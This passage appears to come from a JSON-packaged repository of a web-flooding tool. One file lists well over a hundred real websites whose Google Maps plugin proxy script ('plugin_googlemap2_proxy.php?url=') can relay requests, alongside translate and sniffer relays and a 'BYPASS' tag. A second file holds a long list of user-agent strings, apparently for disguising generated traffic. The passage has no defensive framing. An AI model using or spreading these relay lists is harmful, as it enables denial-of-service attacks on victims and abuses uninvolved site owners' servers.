gin_googlemap2_proxy.php?url=\nhttp://www.fotorima.com/rima/site2/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.gaston-schul.nl/DU/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.gaston-schul.nl/FR/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.gillinghamgurdwara.co.uk/site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.gilmeuble.ch/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.hortonmccormick.com/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.icel.be/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.idea-designer.com/idea/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.jana-wagenknecht.de/wcms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.kanzlei-berendes.de/homepage/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.kita-spielhaus.de/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.kjg-hemer.de/joomla/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.labonnevie-guesthouse-jersey.com/site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.lacasaencarilo.com.ar/sitio/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.losaromos-spa.com.ar/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.losaromos-spa.com.ar/~losaromo/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.nickclift.co.uk/web/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.oliebollen.me/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.palagini.it/palagini/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.paro-nl.com/v2/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.parsifaldisco.com/joomla/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.podosys.com/csm/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.precak.sk/penzion/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.pyrenees-cerdagne.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.renault-windisch.de/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.rethinkingjournalism.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.riegler-dorner.at/joomla/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.sealyham.sk/joomla/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.seevilla-dr-sturm.at/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.siroki.it/newsite/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.sounders.es/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.suelcasa.com/suelcasa/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.tcl.lu/Site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.tijssen-staal.nl/site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.triatarim.com.tr/TriaEn/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.tus-haltern.de/site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.uchlhr.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.virmcc.de/joomla/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.visitsliven.com/bg/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.vm-esslingen.de/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.yigilca.gov.tr/_tr/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.zahnarzt-buhl.de/praxis/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.sultanpalace.nl/site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.bergenpol.com/cms//plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.arantzabelaikastola.com/webgunea//plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.fare-furore.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.dog-ryusen.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.dunaexpert.hu/home/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.spvgg-roedersheim.de/web/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.stephanus-web.de/joomla1015/mambots/content/plugin_googlemap2_proxy.php?url=\nhttp://www.dahlnet.no/v2/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://ping-admin.ru/index.sema;POST;ping-admin.ru.txt\nhttp://web-sniffer.net/?url=\nhttp://www.map-mc.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://sova-tour.com.ua/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://diegoborba.com.br/andes/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://karismatic.com.my/new/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://scu-oldesloe.de/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://www.awf.co.nz/plugins/system/plugin_googlemap3_proxy.php?url=\nhttp://translate.yandex.ru/translate?srv=yasearch&lang=ru-uk&url=\nhttp://translate.yandex.ua/translate?srv=yasearch&lang=ru-uk&url=\nhttp://translate.yandex.net/tr-url/ru-uk.uk/\nhttp://www.oldbrogue.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://www.mcdp.eu/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://www.phimedia.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://www.bongert.lu/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://laresmadrid.org/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://www.epcelektrik.com/en/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://doleorganic.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://crawfordlivestock.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.aculaval.com/joomla/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://grandsultansaloon.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.d1010449.cp.blacknight.com/cpr.ie/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.architettaresas.it/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://basketgbkoekelare.be/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.arbitresmultisports.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://mobilrecord.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.oldbrogue.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://www.mcdp.eu/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://www.dbaa.co.za/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://waggum-bevenrode.sg-bevenrode.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://bwsnt1.pdsda.net/plugins/system/plugin_googlemap3_proxy.php?url=\nhttp://www.astecdisseny.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.fillmorefairways.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.bus-reichert.eu/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.maxxxi.ru/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://potholepeople.co.nz/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.hammondgolf.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.footgoal33.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.printingit.ie/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://bbtoma.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.tajmahalrestaurant.co.za/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.yerbabuenacuisine.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.rinner-alm.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://stockbridgetownhall.co.uk/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://mentzerrepairs.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.tilmouthwell.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.homevisionsinc.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://toddlers.nalanda.edu.in/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://cultura-city.rv.ua/plugins/system/plugin_googlemap3_proxy.php?url=\nhttp://secret.leylines.info/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://bike-electric.co.uk/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url=\nhttp://www.centroaquaria.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://agenzia-anna.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.gretnadrug.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.crestwoodpediatric.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=\nhttp://www.oceans-wien.com/plugins/system/plugin_googlemap2_proxy.php?url=;BYPASS"
  },
  {
    "path": "files/useragent.txt",
    "content": "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)\nAppleTV5,3/9.1.1\nAppleTV6,2/11.1\nAvant Browser/1.2.789rel1 (http://www.avantbrowser.com)\nBaiduspider ( http://www.baidu.com/search/spider.htm)\nBillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)\nBlackBerry7100i/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/103\nBlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/5.0.3.3 UP.Link/5.1.2.12 (Google WAP Proxy/1.0)\nBlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0\nBlackBerry8320/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/100\nBlackBerry8330/4.3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/105\nBlackBerry9000/4.6.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102\nBlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179\nBlackBerry9530/4.7.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 UP.Link/6.3.1.20.0\nBlackBerry9700/5.0.0.351 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/123\nBloglines/3.1 (http://www.bloglines.com)\nBrowserEmulator/0.9 see http://dejavu.org\nCSSCheck/1.2.2\nDalvik/2.1.0 (Linux; U; Android 6.0.1; Nexus Player Build/MMB29T)\nDillo/0.8.5-i18n-misc\nDillo/2.0\nDoCoMo/2.0 N905i(c100;TB;W24H16) (compatible; Googlebot-Mobile/2.1; http://www.google.com/bot.html)\nDoCoMo/2.0 SH901iC(c100;TB;W24H12)\nDownload Demon/3.5.0.11\nELinks (0.4pre5; Linux 2.6.10-ac7 i686; 80x33)\nELinks/0.9.3 (textmode; Linux 2.6.9-kanotix-8 i686; 127x41)\nELinks/0.10.5 (textmode; FreeBSD 4.11-STABLE i386; 80x22-2)\nELinks/0.12~pre5-4\nEmacs-W3/4.0pre.46 URL/p4.0pre.46 (i386--freebsd; X11)\nEmailWolf 1.00\neveryfeed-spider/2.0 (http://www.everyfeed.com)\nfacebookscraper/1.0( http://www.facebook.com/sharescraper_help.php)\nFAST-WebCrawler/3.8 (crawler at trd dot overture dot com; http://www.alltheweb.com/help/webmaster/crawler)\nFeedFetcher-Google; ( http://www.google.com/feedfetcher.html)\nGaisbot/3.0 (robot@gais.cs.ccu.edu.tw; http://gais.cs.ccu.edu.tw/robot.php)\nGooglebot-Image/1.0\nGooglebot-News\nGooglebot-Video/1.0\nGooglebot/2.1 ( http://www.googlebot.com/bot.html)\nGooglebot/2.1 (+http://www.google.com/bot.html)\nGooglebot/2.1 (http://www.googlebot.com/bot.html)\nGregarius/0.5.2 ( http://devlog.gregarius.net/docs/ua)\ngrub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http://grub.org)\nGulper Web Bot 0.2.4 (www.ecsl.cs.sunysb.edu/~maxim/cgi-bin/Link/GulperBot)\nHTC-ST7377/1.59.502.3 (67150) Opera/9.50 (Windows NT 5.1; U; en) UP.Link/6.3.1.17.0\nHTC_Dream Mozilla/5.0 (Linux; U; Android 1.5; en-ca; Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nHTMLParser/1.6\niCCrawler (http://www.iccenter.net/bot.htm)\niTunes/4.2 (Macintosh; U; PPC Mac OS X 10.2)\niTunes/9.0.2 (Windows; N)\niTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)\nJava/1.4.1_04\nJava/1.6.0_13\nJigsaw/2.2.5 W3C_CSS_Validator_JFouffa/2.0\nKonqueror/3.0-rc4; (Konqueror/3.0-rc4; i686 Linux;;datecode)\nLG-GC900/V10a Obigo/WAP2.0 Profile/MIDP-2.1 Configuration/CLDC-1.1\nLG-LX550 AU-MIC-LX550/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1\nlibwww-perl/5.79\nlibwww-perl/5.820\nLinks (0.96; OpenBSD 3.0 sparc)\nLinks (1.00pre12; Linux 2.6.14.2.20051115 i686; 80x24) (Debian pkg 0.99+1.00pre12-1)\nLinks (2.1pre14; IRIX64 6.5 IP27; 145x54)\nLinks (2.1pre15; FreeBSD 5.3-RELEASE i386; 196x84)\nLinks (2.1pre15; FreeBSD 5.4-STABLE i386; 158x58)\nLinks (2.1pre15; Linux 2.4.26 i686; 158x61)\nLinks (2.1pre15; SunOS 5.8 sun4m; 80x24)\nLinks (2.1pre19; NetBSD 2.1_STABLE sparc64; 145x54)\nLinks (2.1pre20; FreeBSD 4.11-STABLE i386; 80x22)\nLinks (2.1pre20; NetBSD 2.1_STABLE i386; 145x54)\nLinks (2.1pre20; SunOS 5.10 sun4u; 80x22)\nLinks (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)\nLinks (2.3pre1; Linux 2.6.38-8-generic x86_64; 170x48)\nLinks (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)\nLinks/0.9.1 (Linux 2.4.24; i386;)\nlwp-trivial/1.41\nLynx/2.8.2rel.1 libwww-FM/2.14\nLynx/2.8.3rel.1 libwww-FM/2.14\nLynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.6c\nLynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7c\nLynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/0.8.12\nLynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/1.0.16\nLynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d\nLynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7e\nLynx/2.8.5rel.3 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d\nLynx/2.8.5rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d-p1\nLynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d\nLynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7i\nLynx/2.8.6dev.15 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d\nLynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g\nLynx/2.8.7dev.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8d\nMacintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2\nMediapartners-Google\nMediapartners-Google/2.1\nMicrosoft URL Control - 6.00.8862\nMidori/0.1.10 (X11; Linux i686; U; en-us) WebKit/(531).(2)\nMOT-L7v/08.B7.5DR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0\nMOT-V9mm/00.62 UP.Browser/6.2.3.4.c.1.123 (GUI) MMP/2.0\nMOT-V177/0.1.75 UP.Browser/6.2.3.9.c.12 (GUI) MMP/2.0 UP.Link/6.3.1.13.0\nMOTORIZR-Z8/46.00.00 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 356) Opera 8.65 [it] UP.Link/6.3.0.0.0\nMozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)\nMozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)\nMozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2.1\nMozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)\nMozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1\nMozilla/2.0 (compatible; Ask Jeeves/Teoma)\nMozilla/2.02E (Win95; U)\nMozilla/3.0 (compatible; NetPositive/2.1.1; BeOS)\nMozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)\nMozilla/3.0 (x86 [de] Windows NT 5.0; Sun)\nMozilla/3.01Gold (Win95; I)\nMozilla/4.0 (compatible- MSIE 6.0- Windows NT 5.1- SV1- .NET CLR 1.1.4322\nMozilla/4.0 (compatible; Arachmo)\nMozilla/4.0 (compatible; AvantGo 6.0; FreeBSD)\nMozilla/4.0 (compatible; B-l-i-t-z-B-O-T)\nMozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-0)\nMozilla/4.0 (compatible; GoogleToolbar 4.0.1019.5266-big; Windows XP 5.1; MSIE 6.0.2900.2180)\nMozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.0 (screen 600x800)\nMozilla/4.0 (compatible; Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727); Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729); Windows NT 5.1; Trident/4.0)\nMozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; MDA Pro/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1)\nMozilla/4.0 (compatible; MSIE 5.0; Series80/2.0 Nokia9500/4.51 Profile/MIDP-2.0 Configuration/CLDC-1.1)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 95)\nMozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)\nMozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)\nMozilla/4.0 (compatible; MSIE 5.01; Windows 98)\nMozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\nMozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0)\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0 )\nMozilla/4.0 (compatible; MSIE 5.15; Mac_PowerPC)\nMozilla/4.0 (compatible; MSIE 5.16; Mac_PowerPC)\nMozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)\nMozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)\nMozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; j2me) ReqwirelessWeb/3.5\nMozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 1.1.4322; MSN 9.0;MSN 9.1; MSNbMSNI; MSNmen-us; MSNcIA; MPLUS)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; en)\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource/hspr-H102; Blazer/4.0) 16;320x320\nMozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.12; Microsoft ZuneHD 4.3)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.50\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.0\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.53\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; FunWebProducts; HbTools 4.7.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.53\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.5.01003)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; SV1; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; sbcydsl 3.12; YComp 5.0.0.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.02b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312469)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; EnergyPlugIn; dial)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; BUILDWARE 1.6; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Ringo; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; snprtz|S04741035500914#914|isdn; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; .NET CLR 1.1.4322; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; (R1 1.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; SV1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {59FC8AE0-2D88-C929-DA8D-B559D01826E7}; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; de) Opera 8.53\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.51\nMozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; it)\nMozilla/4.0 (compatible; MSIE 6.0b; Windows 98)\nMozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.1; Windows XP)\nMozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Acoo Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Acoo Browser; InfoPath.2; .NET CLR 2.0.50727; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; winfx; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zune 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; GTB5;\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET 